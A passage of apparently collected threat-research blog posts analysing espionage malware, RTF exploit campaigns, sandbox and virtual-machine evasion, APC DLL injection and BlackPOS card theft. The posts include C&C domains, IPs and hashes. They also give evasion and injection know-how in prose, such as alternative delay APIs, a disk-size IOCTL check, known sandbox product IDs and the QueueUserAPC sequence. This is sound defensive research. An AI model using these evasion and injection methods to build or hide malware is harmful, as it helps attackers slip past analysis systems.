Attacker can craft the exploit to place the Stack Pivot ROP gadget here which will pivot the ESP to the heap and start executing the ROP chain, subsequently bypassing Data Exexution Prevention and executing arbitrary code.

GAME OVER. !!.

Operation Mangal - Win32 / Syndicasec Used In Targeted Attacks Against Indian Government Organizations - Part-2 : Demystifying The Malware And Its Network Communications

noreply@blogger.com (Chintan Shah) — Tue, 23 Dec 2014 10:34:00 +0000

In the previous blog on this campaign , I walked through the exploit , the timeline and the possible attack targets . Out here , I'll take a more deeper look into the malware family dropped and its communication to the command and control servers.

Dropped Malware family : Win32 / Syndicasec :

dw20.exe, 1st stage dropper executable dropped by all the RTF exploits involved in this a attack, is a malware family dubbed as Win32/Syndicasec by ESET. This malware was identified back in March 2013 during which it was used in the cyber espionage attempt against the Tibetian activist and was also used in multiple other targeted campaigns. Previous versions of this threat was also discovered way back in July 2010 during which it was active in Nepal and China, as I indicated earlier.However, the payload and the mechanism of this malware has evolved since then.

I have uncovered that this threat is now also being currently used in the espionage attempt against the Indian government organizations. We can very well confirm the threat similarity based on the behavioural pattern on the system during the execution.

It tries to determine the presence of sysprep.exe in the system32 and sysnative directory and then it goes to extract the embedded executable from the resource section , drops it in the %Temp% directory with the name gupdate.exe

Subsequently , it reads the Cabinet file embedded in the resource section , into the memory , extracts it into the /sysprep directory with the name cryptbase.dll , using the Windows Update Standalone Agent ( wusa.exe ).The technique used here to load the custom cryptbase.dll is what we call as DLL Load Order Hijacking . Sysprep.exe usually loads the cryptbase.dll, which is directly under the system32 and is not in the OS’s Known_DLLs list . If the malware drops the DLL with the same name in the system32/sysprep/ directory , then the dropped dll would be loaded instead of the one directly under the system32 , because of the DLL search order. Further, it exploits the vulnerability in the Microsoft UAC whitelist process allowing it to run the arbitrary command with the elevated privileges.

Below are all the hashes of the 1st stage dropper along with the compile time which would give the fair enough idea of the timeline of the attack.

MD5s	Compile time
1B83B315B7A729CB685270496AE68802	August 12, 2014
68BFA1B82DC0E2DE10D0CF8551938DEA	August 12, 2014
C249CB532699E15B3CB6E9DEB6264240	August 12, 2014
5A80F6F6D75FD8D95D7EC830DC669129	August 12, 2014
2881F3EA27802FD9C1ED08C767083D12	Feb 27, 2014
391552FB8DE3F45FB7DD9EF7B9CAA4BB	Septr 5, 2014
13C4D1CA7256B1FBEEEE9DE532097A94	August 12, 2014
7F5F57DE1734CC20D915AF68CC2821F2	Feb 27, 2014
0E7DB6B6A6E4993A01A01DF578D65BF0	Sept 5, 2014

The second-stage dropped file, gupdate.exe, connects to the command and control server. This communication is done in stages as well and uses the uncommon Windows Management Instrumentation system to register the JavaScript that connects to the first-stage URLs. The XOR routine for JavaScript follows:

Looking at the previous versions of this threat, JavaScript versions have changed every time this malware was used.

Command and Control communications :

The JavaScript is primarily responsible for connecting to the first- and second-stage URLs, which leads to the control server. Examining the multiple variants of the RTF exploits and the dropped binaries, we’ve found the following fake blogs with which variants of gupdate.exe communicate. All of the URLs point to the blogs’ RSS feeds, from which the encoded Stage 2 (control server) URL is fetched.

Stage 1 URL pointing to the RSS feeds of the fake blogs:

hxxp://kumar807.blogspot.com/feeds/posts/default

hxxp://kumar807.wordpress.com/feed/

hxxp://kumar807.livejournal.com/data/rss

hxxp://blogs.rediff.com/kumar807/feed/

hxxp://kumar807.thoughts.com/feed

hxxp://kumar807.tumblr.com/rss

hxxp://www.blogster.com/kapoorsunil09/profile/rss

hxxp://kumarsingh1976.wordpress.com/feed/

hxxp://musictelevision.blogspot.com/feeds/posts/default

Next we see the format of the encoded Stage 2 URL found on the fake blog. Note that the URL is within the the "title" tag with the “@” delimiter: tag with the “@” delimiter:</div> <div class="MsoNormal"> </div> <div class="MsoNormal"> <br></div> </div> </div>

Encoded stage 2 URLs ( Command and Control servers ) found on the fake blog sites.

Once the response is received, the "title" tag is parsed out of the response and the decoding function in the JavaScript is applied to expose the control servers. Decoding algorithm has remained same in the previous versions of the javascript as well.

Below are the stage 2 URLs found to be connected by the variants of the gupdate.exe

www.asiasky.tk
kumarsingh.tk
zz13572.0023.jxwb2.com
hidimovie.tk
www.pattanasettyraju.org

The parameters sent in the POST request are formed by executing the WMI queries from the JavaScript. This image shows the functions of this operation:

While the malware executes, all of the control servers are live but with an empty command array. Examining the JavaScript, we see the command decoding is done with the eval() function, which leads us to believe there could be another JavaScript embedded:

Hashes for the RTF exploits involved in this attack:

598d9b335cec4e3ae6bd87d2c9734a1a
82440b92ddfccbd9645227c71df04db6
6b3700048ef7224f1d0efe1b33bab957
84cef2b4e9cc92533717919aefb55e3e
57679deaf8b39bbee00ac001c7eede81
cc3d7699838bcd434a2c3a804c4a196c
0a81badaf590ad6a9c6bd2f6edbb5f37
bd95cd9a058a267486ee8dbf44c3a757
6122d3fb69e9d3d7f93116eb8fbbf1ef
7772021f3883fd9f0b470387d46ae775
719db97a61e24b2619759ed054c06308
b908156a3fed1db5593c2ea730158f91
c10ffafcc7f44265c7f40d00bdbf5f73
2ed5a096825b7f7a147441d35ec28f10
e73ea3c88a89ef3ed2f4f8acacd048eb
077eaae040cbe7b35e4d2064cb75efe1
b2dfb6007c385414b6dcbb7a69c1ca2c
43c872c4b31c9e6de976e198639a390f
d8ef8fbb9689127b30229659fc091738

I've been tracking this threat since quite some time now . I'll keep posting any interesting updates and details on this campaign as and when I discover ..stay tuned !!..

Operation Mangal - Win32 / Syndicasec Used In Targeted Attacks Against Indian Government Organizations - Part-1 : Exploits, Attack Timeline And Targets

noreply@blogger.com (Chintan Shah) — Mon, 01 Dec 2014 07:17:00 +0000

During the period of last couple of months, we’ve observerd several RTF exploits floating around in the wild, targeting multiple Indian government organizations. Series of RTF exploits , first of which was found to be around by on 21st August 2014 , subsequently, multiple variants of the same exploit has been seen until end of September and through October . Contents of the documents are politically themed , targetting multiple local and overseas Indian government establishments.

Recent political reforms undertaken by the new Indian government, Prime Minister’s visit to Japan and United States as well as meeting with the Chinese president, recent UNSC reforms and series of the other similar political events has generated quite a movement within the APT actors. I believe this could be a part of a possible campaign, involving a group of APT actors, targeting positive political movements and disrupting the intent of developing and strengthening the bilateral ties with the neighbouring countries and United States.

I've decided to dub this wave of attack as "Operation Mangal" based on the original name of the APT and ISRO's recent MangalYaan's success that has distinguished India as a whole from the rest of the world.

Vulnerability :

All the RTF exploits has been found to be exploiting the old and already patched Microsoft Word ActiveX control vulnerability CVE-2012-0158. It has already been used in several targeted campaigns in the past and continues to be popular in ongoing targeted attack campaigns. Exploit laden doc files has been found in the wild with the following filenames:

• Modi’s foreign policy agenda.rtf

• ASEAN-India Agreemnet On Investment.doc

• Planning Commission Reform Note FINAL.doc

• High Speed Railways.doc

• ASEAN-India Comprehensive Brief 2014.doc

• Bilateral.doc

Attack vector :

Attack is believed to be carried out via the RTF exploit ( CVE-2012-0158) as an attachment to the possible spear phishing emails targeting Indian organizations. On launching the exploit , it drops the executable with the filename dw20.exe in the %temp% directory following the drop of gupdate.exe at the same location which connects to the multiple C&C in the staged fashion. Following is the high level picture of how the attack works :

Overall working of the attack

Below is the visualization of the timeline of this attack over the period of last 3 months :

Exploit Analysis :

All the RTF exploits used in this campaign uses the staged shellcode . However , noticing the shellcode in the exploit is fairly straightforward and uses the known technique of resolving the API names from its hashes.

Once the APIs are resolved , it tries to locate itself in the memory by enumerating the file handles and then reads the 1st stage shellcode in the allocated virtual memory which is then used to decrypt the 2nd stage shellcode.

Below is the routine from the 1st stage shellcode that decrypts to the 2nd stage and then jumps to it.

"Datastore" of the RTF exploit contains the embedded XORed executable which is accessed by 2nd stage shellcode .

2nd stage shellcode then decrypts the embedded binary and the embedded decoy document using the same decryption algorithm , eventually droping them in the %Temp% directory with the name dw20.exe , executing it.

Here is how the complete shellcode looks like :

Some of the other decoy documents that has been found in the ongoing campaign :

Based on the further research on the origin of this targeted attacks against India , I believe , this campaign had been going on since 2010 during which this threat was active in the limited geographical location in Nepal and China. Subsequently,during this span of 4 years, several different families of malware could have been used to exfilterate the information from multiple compromised machines within targeted Indian organizations .

Based on the nature and theme of the exploits used in the attack, it leads me to believe that this could be a continued attempt of cyber espionage against India with the intent to steal the confidential data and documents that could be of the national interest.

In this wave , I believe the following organization were targeted using multiple variants of RTF exploits taking advantage of the same vulnerability.

Indian embassies in United States and China
Military / Defence educational institutions in India
Institute of Defence Analysis and Studies , India
Defence Intelligence Agency under Ministry of Defence in India

A while back when taking a closer look at this attack, I came across a very interesting paper that was published way back in 2010 , elucidating similar espionage attempt against India and very closely relating to this ongoing attack with the similar targets . It perhaps clears out the way to perceive that this is a closely knit group of APT authors focusing on this locality .

Report can be read here -- SHADOWS IN THE CLOUD:Investigating Cyber Espionage 2.0

In the next part , I would take a deep dive into the family of malware dropped by these exploits and its network communications to get the better visualization of the techniques used and how this threat works as a whole.

Evading Sandboxes : Into The Loopholes Of Sandboxing Technology - Part 1

noreply@blogger.com (Chintan Shah) — Sun, 21 Sep 2014 08:40:00 +0000

As I demonstrated in my last blog , malwares have now started to submerge much deeper into the system to detect the sandbox environment. Besides the file system , process and known registry artifacts which can be very easily spotted by the researchers , there are several other methods researched to evade the automated analysis systems and needless to say , actively being used today. This two part blog series is primarily intented to provide a complete walkthrough of the most common sandbox evasion techniques prevalent today.

Latent execution:

Automated malware analysis systems are designed to process several thousand samples within a short period of time . Because of that fact, the proportion of time allocated for its execution is usually very limited , ranging from somewhere between 3 to 5 mins for one sample. Malware authors tend to take the advantage of this configuration aspect by introducing the Sleep ( ) calls in the middle of the code to pause the execution for several minutes before the execution of actual malicious payload. Under the Sandbox configured to execute the malware for shorter period , none of the malwares' actual behaviour would be captured. This is very common technique used today to bypass sandboxes . One such family of malwares using this was Win32/Kuluoz .

One of the disadvantage of using Sleep / SleepEx calls is that they are easily noticeable and Sandboxes are now protected against this trick. Since they use the API Hooking to trace the calls , the moment it notices the Sleep ( ) calls , it will patch the argument to the API, effectively resulting into the faster sample execution.

Malwares as always , continues to look out for more elegant methods. One of the way to evade this protection mechanism is to use the alternate APIs some of them which are undocumented . For Instance below APIs can still be used to achieve the same functionality:

NtDelayExecution ( ) [ Undocumented ]

WaitForSingleObject ()
WaitForMultipleObject ( )
CreateWaitableTimer ( )
SetWaitableTimer ( )

More polished method to introduce latency was observed in the Win32/Cutwail ( MD5 : b4f310f5cc7b9cd68d919d50a8415974 ). It loaded the ECX register with the huge value and kept calling the API in the loop resulting into single API call > 78 Lac times. Below is the snippet of the code:

This can still be noticed by some of the intelligent sandbox systems out there . Way to go one step beyond this is not to call the API , instead place the junk instuctions in the loop . This can virtually defeat every sandbox technology. We could do something like this :

Self Name Checks

One of the other common and observed way of sensing the sandbox environment is to perform the self check. Sandboxes, while executing the malwares are inclined to rename the file either to sample.exe / malware.exe / virus.exe etc. Malwares have found to be taking advantage of this naming convention. Similar technique was found in one recent malware (MD5:9404955681a5828b5ab9ab2a5c5547ce) named Win32/Comrerop.

And don't be surprised to see that Comodo sandbox helps this malware. Look at the analysis report here . Prevalent sandboxes like ThreatExpert can also be traced using this simple mechanism.

Loaded modules and monitoring tools

Sandboxes have their own monitoring DLLs that are used and loaded while processing the samples. Several malwares have been observed to check for these loaded DLLs specifc to respective sandboxes. It can also check for the installed monitoring tools used to capture the end to end behaviour of the malwares. Here is the code snippet from Win32/Comrerop performing similar checks:

More checks from the same malware searching for open windows of sysinternal tools / debugger :

Checking Hard Disk size

This technique is very well documented and has been observed in several recent malwares. The idea behind this logic is to obtain the handle to the physical drive using CreateFileA ( ) API and then use this handle to pass it to the device driver using DeviceIoControl ( ) API to perform the operation specified by IoControlCode. Malware using this mechanism with IoControlCode of 0x7045c is most likely performing the HD size check . If the Hard Disk size is < 10 GB , malware presumes that it is running under the sandbox.

IoControlCode 0x7045c stands for IOCTL_DISK_GET_LENGTH_INFO , which retrieves the length of the specified disk, volume or partition. Below is the HD size check in the malware code:

This actually makes sense because it is rare to have the sandbox machines with the larger HD size .

Tracing mouse movements

Tracing the mouse movements is one of most effective way of differentiating the sandbox and easier to implement as well. Mouse movement check basically involves checking for the cursor position and then substracting the coordinates to check if the mouse has moved. GetCursorPos ( ) API is called twice to check for the cursor movement . Since there is no input device connected to the sandbox machines, it can trace almost all the sandboxes.

Sandboxes can be protected against this technique by intercepting the call and randomizing the coordinate values.

Ring 3 hook detection

Sandboxes significantly rely on the API hooks to be able to trace the activity of the malware. Ring 3 hooks are the user space hooks that can be easily implemented via modifying the initial instructions of the API code within the mapped DLL and pointing it to the hooked code. Several available sandboxing technology including Cuckoo , employs the similar techniques to log the APIs called by malware . Malware authors are very well aware of this and take the advantage of this implementation by detecting them. One of the simplest detection method is to get the virtual address of the API and check if that does not start with the standard prologue. If code starts with Jump/Call instruction , then it indicates that API has been hooked which leads to the conclusion that code is being executed in the sandbox . Here is the example code that attempts to detect the user mode inline hooks.

One of the way malwares tend subvert the user space hooks is to implement the custom loader and map the desired DLL in the process address space perhaps using a different name, and then get API address using the standard GetprocAddress mechanism . More sophisticated approach for the malwares could be to drop the kernel drivers which implements the required code using the lower level APIs and then user space components calling them , which will essentially bypass the sandbox hooking framework .

Sandbox detection using known product IDs

This is the another popular and easy to implement sandbox detection technique used by several recent malwares including Win32/Gamarue,Win32/Comrerop etc . Every commercial sandbox has its own associated Windows product ID that can be fetched from the registry key and matched against the blacklisted product IDs. Calliing the API RegQueryValueEx ( ) on the following registry keys will extract the respective product IDs :

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\\ProductID
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\\ProductID

API trace for one of the sample trying to access the product ID:

Following is the list of some of the known product IDs and associated with their respective sandboxes:

Anubis :
product ID :76487-337-8429955-22614

CWsandbox :
Product ID :76487-644-3177037-23510

JoeBox :
Product ID :55274-640-2673064-23950

However, more focused commercial sandboxes are now well conscious about the product IDs being used against them and either deny the access to the registry key or respond with the randomized value.

I'll keep rest of the techniques of evading sandboxes to my next blog.We'll walk though few of them used in the recent targeted attacks. Stay tuned !!..

Trojan.FakeAV Uses Unprecedented APIs To Detect Virtualized Environment ..Pretty cool stuff ..!

noreply@blogger.com (Chintan Shah) — Tue, 29 Jul 2014 07:25:00 +0000

With the ever changing facets and trends of the Cyber attacks , Sandboxing technology using virtual machines has become the inevitable tool for researchers to analyze the behaviour of the malwares in abbreviated period of time. With the huge inflow of the samples , sandboxes based on virtualized environment is another premier tool in the armoury. Sandboxing provides the isolated setup which can execute the malware binaries within , without effecting the underneath host resources . This can help researchers quickly analyze and locate the malicious behaviour of the sample and produce the heuristic / behavioural signatures .

But there are two sides of the every coin . Sandboxes usually leaves too many traces and evidences into the system to make itself a completely imperceptible environment. Malware authors tend to come out with the innovative methods to detect the virtualized / sandboxing territory and cease to execute the moment they discover it. Subsequently, obscuring the setup has become very significant when they are builded to execute tons of malwares.

There have been several researched and documented methods of distinguishing the sandbox area . For instance , traditionally , malwares use to search for the known artifacts like running process , registry keys , file systems for noticing the sandbox . These methods are easily noticeable by the researchers. Today , Advance persistent threats and targeted attacks tend to wait for the human interaction with the system to activate the malicious code . Since automated malware analysis frameworks process millions of samples per day , human interaction is bare minimal and malwares does not replicate as a result. One of the very interesting papers that has been published and presented by FireEye researchers here , documents bunch of interesting techniques to perceive the sandbox.

Few days back , I was researching a malware that showed a lot of behaviour on the physical system and other sandboxes but refused to execute on the vmware . I was pretty keen to figure out what exactly it did . Eventually , after a session of debugging , I was able to determine that it accessed the registry key to detect if it was running under VMware , Vbox and Qemu but the interesting aspect was it never used the known registry APIs . If we look at the imports of the binary :

Malware importing device APIs

If we look at the nature of the APIs that is imported by the malware , experienced eyes can make an educated guess. These are the device APIs , though very seldomly used , but can fetch you the properties of the underlying device / hardware . Malware trying to extract the device properties is most likely performing environment checks.

After all the deobfuscation , it calls SETUPAPI.SetupDiGetClassDevsA( ) API to get the handle to the device information set that contains device information elements for a local computer

At this point , if we check the memory of the process , the strings to match has already been decrypted:

Next , it passes the returned handle to the SetupDiEnumDeviceInfo ( ) that returns the structure relating to the device information set . More information about the API and structure is available on MSDN.

Then eventually calls SETUPAPI.SetupDiGetDeviceRegistryPropertyA ( ) to access the registry key:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S&Rev_1.0\4&5fcaafc&0&000

They key that it accesses is the "FriendlyName" of the above registry key:

And then finally calls the functions to match the value against the Vbox , Virtual HD , Vmware and Qemu .

Below is the top level view of the rest of the code checking for variety of virtual environments :

Interesting ingredient of this malware was all the checks that it performed does not seem to be obviously visible to the reverser. Above that , all of these validation code was concealed below few layers of obfuscation which kind of makes it harder to expose.

As malware authors get smarter , I am pretty certain that level of discretion in detecting the virtualized / sandbox environment is going to grow.

Multiple Microsoft Word Vulnerabilities Used In Targeted Attacks Against European Aviation Company

noreply@blogger.com (Chintan Shah) — Fri, 20 Jun 2014 14:39:00 +0000

Exploits targeting zero day vulnerabilities delivered via spear phishing emails is one of the most successful attack combinations used by threat actors. It has been proven method of infiltrating the target organization in an attempt to gain access to the confidential information.
Recently, over the period of last month, We have uncovered another targeted attacks being carried out via spear phishing emails against the European Aviation company. We have observed the emails being sent to the larger group of individuals in the target organization with the attachments exploiting recently patched RTF vulnerability CVE-2014-1761 and previously patched CVE-2012-0158 ActiveX control vulnerability. Both of these vulnerabilities has been predominantly used in several ongoing targeted attacks.

Both of these spear phishing emails are observed to be coming from French actors using the French Yahoo and Laposte email services and possibly impersonating the employee of the target organization.

RTF Vulnerability : CVE-2014-1761

As indicated above, both these exploits targets recently patched RTF vulnerability CVE-2014-1761. Precise reason for triggering this vulnerability is the value of the “ListOverrideCount” which is set to 25.

Which according to MS RTF specifications should be either 1 or 9 . This eventually causes the out of bounds array overwrite subsequently resulting into incorrect handling of the structure by Microsoft word leading to control of the EIP.

Shellcode:

Interesting aspect of this vulnerability is that all the byte of the shellcode ( ROP chain ) are directly controlled by the attacker and comes straight from the RTF structure. Here is the high level view of how the ROP chain is formed directly out of the structure.

Below is the memory snapshot of the parsed RTF structure in the memory leading to the control of the EIP:

Successful execution of the shellcode opens the decoy document and drops the malware svohost.exe in %TEMP% which then connects back to the C&C server ( C&C details provided later )

Compelete Technical details of the vulnerability and the shellcode has been blogged here

In the same cycle of spear phishing attacks we’ve also got the hold of the mails targeting the same organization with the attachments exploiting old CVE -2012-0158 vulnerability. Exploit laden doc files are found to be with the file name: article.doc

Following API trace shows gives the fair enough idea of the sequence of activities once the exploit is launched on the system :

Payload Analysis:

Analysis of the dropped binary reveals that it is specifically written to gather information about the network of the target organization as well as the configuration of the endpoint leading us to believe that this could be spear phishing reconnaissance attack.Payload seems to have been compiled on 9th April, 2014 :

Malware initially starts with retrieving the %Temp% path and prepares to log the communication with the C&C server in the file %Temp%explorer.exe

Subsequently , it starts collecting following information about the system configuration,registered organization and network:
- Hostname
- Username
- System type by resolving IsWOW64Process API
- Existing TCP and UDP connections and open ports on the System
- Organization information from the Registry key :
--- HKLM/Software/Microsoft/WindowsNT/CurrentVersion
Productname
CSDVersion
CurrentVersion
CurrentBuildNumber
RegisteredOrganization
RegisteredOwner

- Current running system services
- Installed softwares from the registry key:
--- HKLM/Software/Microsoft/Windows/CurrentVersion/Uninstall
- Information about Network Adapters , IP Configuration , Netcard Numbers , IP Mask,Gateway , DHCP Server , DHCP Host , WINS server ,WINS host.

Here is the high level snapshot of the malware’s information gathering code:

Encryption at the high level is primarily done using the SYSTEMTIME structure. It forms the repetitive 256 byte key using the SYSTEMTIME information as shown below:

And then further converts the key into 16 byte to finally start encrypting the information.

Once the buffer has been encrypted , it connects to the C&C sophos.skypetm.com.tw posting all the collected information in an encrypted format.

Command and Control Research:

During the time of analysis of this exploit, sophos.skypetm.com.tw was found to be resolving to the IP 66.220.4.100 located in the Fremont City, USA. First instance of outbound traffic to this domain was seen on 27th January 2014 during which it resolved to the IP 198.100.113.27 located in Los Angeles City, USA.

From our passive DNS data , we’ve found following MD5s connecting to the same domain :

Whois record reveals that the TLD (skypetm.com.tw) domain has been registered under the email ID: longsa33@yahoo.com Which is also found to have registered another domain “avstore.com.tw” used actively as the C&C server.

While several other malware binaries has been observed to be communicating to the various subdomains of skypetm.com.tw and avstore.com.tw , all of them are identified as “PittyTiger” malware that has been implanted in numerous CVE- 2012-0158 exploits used in recent targeted attacks . Same payload was also used in the “Tomato Garden” APT Campaign targeting Tibetian and Chinese democracy activist uncovered in June 2013.

Additional Domains related to this attack :

· 63.251.83.36

· 64.74.96.242

· 69.251.142.1

· 218.16.121.32

· 61.145.112.78

· star.yamn.net

· 216.52.184.230

· 212.118.243.118

· bz.kimoo.com.tw

· mca.avstore.com.tw

Recent Targeted Attacks Against Japanese Government Agency Uses CVE-2012-0158 ActiveX Vulnerability..!.

noreply@blogger.com (Chintan Shah) — Fri, 09 May 2014 06:19:00 +0000

The instigators of many targeted attacks are fond of using the CVE-2012-0158 vulnerability, which affects Microsoft Windows Common Controls ( mscomctl.ocx ) in Microsoft Office and some other Microsoft products. We have seen several APT campaigns using this exploit against Chinese and Tibetian activists and several other recent attacks. In a yet another recent targeted attack against Japanese organization , same vulnerability has been found to be used.

In the recent wave of the attacks using this exploit, the potential target seems to be one of the Japanese government agency.We have found Word .doc exploits taking advantage of CVE-2012-0158 with the decoy document contents indicating the target organization .Similar malware attacks had been carried out in the past against the same target , which led to the possible data exfilteration information / leakage indicating a possible cyber espionage attempt.

Exploit-laden doc files in the wild was first observed on April 7 2014 with the following file name:

xxx運営調整会議議事録（最終版).doc

(xxx was the abbreviated form for one of the centres / departments of the target organization )

Threat Vector

The threat arrives in a Word doc file that exploits the CVE-2012-0158 vulnerability in the mscomctl.ocx ActiveX control. Opening the doc exploit opens another decoy document and drops a binary, services.exe, in the %Temp% directory. This binary copies itself into C:\Program Files\Windows NT\Accessories\Microsoft and runs from there.

The following diagram gives a high-level picture of how the attack works:

The decoy document roughly translates as follows:

Analysis of the payload

The exploit drops the binary services.exe (MD5 677EC884F6606A61C81FC06F6F73DE6D) into %Temp% and later into C:\Program Files\Windows NT\Accessories\Microsoft, and adds registry start-up entries for persistence. The initial part of the binary has a simple but fairly uncommon antidebugging technique using Windows Message loops. It uses RegisterClassA( ) to register the Windows procedure and then calls CreateWindowExA( ) , transfering the execution to registered callback function before the API actually returns.

Once the location has been identified, breaking at the right spot will expose the hidden code and an additional domain to connect to, and eventually exposes the supposedly malicious iframe to redirect the victim to download additional malware.

Network communication

While analyzing this exploit, we found that it connects to the domain www.sitclogi.co.jp, resolving to 111.68.158.66. This domain is legitimate at the moment and possibly recovered from compromise :

But was apparently compromised to host malware during this attack. A historical scan of this domain confirms our assumption.

The following are additional malwares seen communicating with the same domain:

2b91011e122364148698a249c2f4b7fe www.sitclogi.co.jp
6c040be9d91083ffba59405f9b2c89bf www.sitclogi.co.jp

As usual , excercise extreme caution while opening documents from the unknown sources and use the patched versions of the softwares . You may never know what is hidden inside..!!.

Malware Uses Asynchronous Procedure Calls To Inject DLL Into Another Process ..!!

noreply@blogger.com (Chintan Shah) — Fri, 04 Apr 2014 17:36:00 +0000

Over the period of time , several code injection / DLL injection techniques have been developed and used by malware authors for covert launching of malicious code . Injecting DLL into other legitimate process is a very well known and well documented technique to hide the execution of malicoius code . Several such DLL injection techniques have already been known for years . For instance , DLL can be injected into another process using known process enumeration APIs and then opening the handle to the targetted process using OpenProcess ( ) , subsequently allocating the memory using VirtualAlloc ( ) , doing the WriteProcessMemory( ) , and finally creating the remote thread using CreateRemoteThread ( ) . Similar goal can be achieved by direct code injection and setting the thread context to the injected code using SetThreadContext ( ) and executing the injected code in the targetted process .

I recently came across the malware that used another flavour of DLL injection known as Asynchronous Procedure Calls ( APC ) injection . The precise idea behind this mechanism is : If you can figure out the thread in the remote process which is in the alertable state or which is likely to go into alertable state, you can queue custom code to that thread which will be executed before the thread resumes . Threads can go into alertable state by calling APIs like WaitForSingleObjectsEx ( ) . Fortunately , for malware authors , finding such a target thread is not a difficult job . There will be several threads already into that state .

Let's check how this goal is achieved in the recent malware that I analysed . I wont be digging into the full functionality of this malware but just the APC injection part . Initially , malware seems to have a corrupted import table so we'll have to allow it to construct it , until it is done with all the GetProcAddress( ) calls.

If we look at the API trace , we will see some of the functions being resolved during the initial execution of the malware as shown below .

After resolving all the function names , as you can see it drops the file linkinfo.dll into the windows directory. We will see along the way at later point of time , this DLL will be queued for loading in the remote process .

FYI : Linkinfo.dll is basically a legitimate component in Windows which tracks the volume information / removable media . It can intercept all the write calls to the disk and ensures that data gets written on the correct disk volume . More info about this here.

As expected , it follows the usual process and sequence of API calls to find the target process to inject into. Calls CreateToolhelp32Snapshot ( ) to get the snapshot of the all the running process , threads , modules used and then enumerates over the list to find the target process . Apparently it can be noticed , that it targets "explorer.exe" process .

Matching the explorer.exe , it allocates the virtual memory page into the process and then calls WriteProcessMemory ( ) to write the path to the "linkinfo.dll" into the allocated space.

Here is the memory map of the explorer.exe and we can notice the virtual memory being allocated and path to the DLL to be loaded written

Until this point , malware follows the usual DLL injection sequence , but difference at this point here is to find the target thread in the explorer.exe . It enumerates the running threads inside the explorer.exe and determines the thread to queue a call . Let's see how it does that . It calls the Thread32First ( ) and Thread32Next ( ) with the same process handle 5EC ( explorer.exe )

Enumerating all the threads , it finally ends up finding the thread identifier for the main thread of the explorer.exe process ( Ident : 5F0 ) :

and subsequently , opens the handle to the thread :

and then finally , calls QueueUserAPC ( ) to queue the call to the LoadLibraryA for the opened thread .

Details of the QueueUserAPC ( ) API is available on MSDN. And here we see . Linkinfo.dll being loaded into explorer.exe . Mission over..!!..

APC injection is one of the method of DLL injection into the remote process . This is usually done from the user space as demoed in this blog . This goal can also be achieved from the kernel space by calling corresponding kernel APIs.

POS Malwares On The Rise - BlackPOS Attacking Point-of-Sale Devices Yet Again !

noreply@blogger.com (Chintan Shah) — Tue, 04 Feb 2014 07:53:00 +0000

POS malwares has been on the rise since last few quarters . We've been witnessing increasing volume of the malwares targetting Point of Sale devices . These malwares primarily get installed on the windows terminals used as point of sale in the stores , enumerates the process memory and reads the track1 / track2 information from the RAM as and when terminals reads the information embossed in the megnetic strips of the card. This information is the sent back to the C&C server. Apparently , tt could be used by the attackers to clone the card with the same information and further , embossing equipments like CC embosser / Printer / writer machines readily available in the market can be used to make the cards look like the original one . I blogged about one of the similar attack in the past called Vskimmer .

Another attack named BlackPOS very similar to this has been around for a while targetting the Neiman Marcus and Target stores compromising almost 110 Million customers. Neiman Marcus group confirmed this attack :

This has extensively been talked about in the blog post by Xylibox over here. I've had a look at one of the sample related to this attack to see how it exfilterates the stolen information. One of the way malware is found to be generating the network traffic is by executing the commands via "PsExec" sysinternals tool . PsExec is the utility to execute the processes on the remote system. It can invoke the command prompt on the remote systems as well .

BlackPOS connects to the SMB share on the hardcoded IP address 10.116.240.31 which is kind of presumed to be the internal subnet IP of the targetted stores and executes the taskkill command invoking the command shell on the remote system.

It creates the log file with the name of the current system time and date . For instance during the time of execution of this malware it created the file with the name data_2014_2_3_16_11 . It drops the txt file "cmd.txt" in the same directory with the list of commands it would execute from the command shell while opening the FTP connection to the C&C server . Below you can notice the "open" command being used . This can be fired from the command prompt after entering the FTP shell prompt .

Below screenshot shows the dropped cmd.txt file with all the ftp commands along with username and password :

and then eventually launches all the above commands from the cmd shell

All the commands as and when executed are also being logged on the console

While looking at the multiple samples for BlackPOS , we've came across several different IPs being connected to via FTP . However , data exfilteration has been not found to be done via any other protocol.

Point of Sale malwares also nicknamed as RAM Scrappers are increasing in the last few quarters . Apparently one of the reason to directly target the sale devices is its ease of implementation rather than employing the sophisticated traffic interception and hooking methods which has become the history now.

Virus Bulletin 2013 @ Berlin , Germany : My First International Security Conference As a Speaker

noreply@blogger.com (Chintan Shah) — Mon, 18 Nov 2013 12:34:00 +0000

Virus Bulletin 2013 , one of the top computer security conferences was held this year in Berlin , Germany from 2nd - 4th October 2013 , and I was invited to speak on one of the research that I did on Behavioural method to detect HTTP botnets. Detection method precisely focuses on couple of key areas :

How do we differentiate traffic generated by automated clients from the human initiated traffic.
How do we examine and differentiate outbound HTTP traffic generated from the legitimate sources like web browsers , from the malicious botnet Command and Control traffic over HTTP protocol
Monitoring of the idle host based on the volume of the traffic generated and determining its suspiciousness on the basis of repetitive connections to C&C server.

I also discussed about the algorithmic approach and how do we apply on the network perimeter to detect botnet activity with high degree of accuracy . Entire blog post can be found over here and over here on the McAfee Labs blogs as well . Pretty interesting read and result oriented approach .

This was one of the very few presentations audience really found interesting . Although it was on the final day of the conference and the audience was relatively less then previous two days which was kind of little disappointing . 3rd Oct evening was the fantastic drinks party followed by a gala dinner and sensational German dance performances in the evening ended the day. So lesser audience on the last day of the conference wasn't too surprising to me.

On the other side , several presentations on the technical stream was interesting . One of them that got my attention was a talk from Microsoft guys , revealing the major problem that the AV industry could have started facing today . The presentation was about attacks on the AV Automation systems itself. Today , industry heavily rely on telemetry data and sample sharing between the vendors to be able to quickly respond to the 0 day threats. AV automation systems are primarily builded to auto-classify lakhs of malware samples received everyday and generate automatic signatures . Attackers have now started to probe these automation systems to find the loopholes in automatic signature generation and exploit them by injecting the specifically crafted clean files into the telemetry system and poisoning them . Imagine the mess that it can cause due to significant volume of such crafted files received via telemetry.

Entire presentation from Microsoft speakers can be viewed here : Working together to defeat attacks against AV automation

One of the other presentations that I found interesting was from F-secure titled "Statistically effective protection against APT attacks " talking about the research that they did on several available exploit mitigation methods and which one is most effective in preventing exploits from executing shellcode . Research talks about how effective are the mitigation methods like Application sandboxing , Client application hardening , Memory handling mechanisms for exploit prevention and Network hardening and which one is most effective against some of the in the wild exploits . Kind of useful research .

Overall , it was a fantastic conference and got the opportunity to socialize and meet lot of people out there sharing ideas and talking about lot of stuff ..

All the slides of VB 2013 presentations are available here .

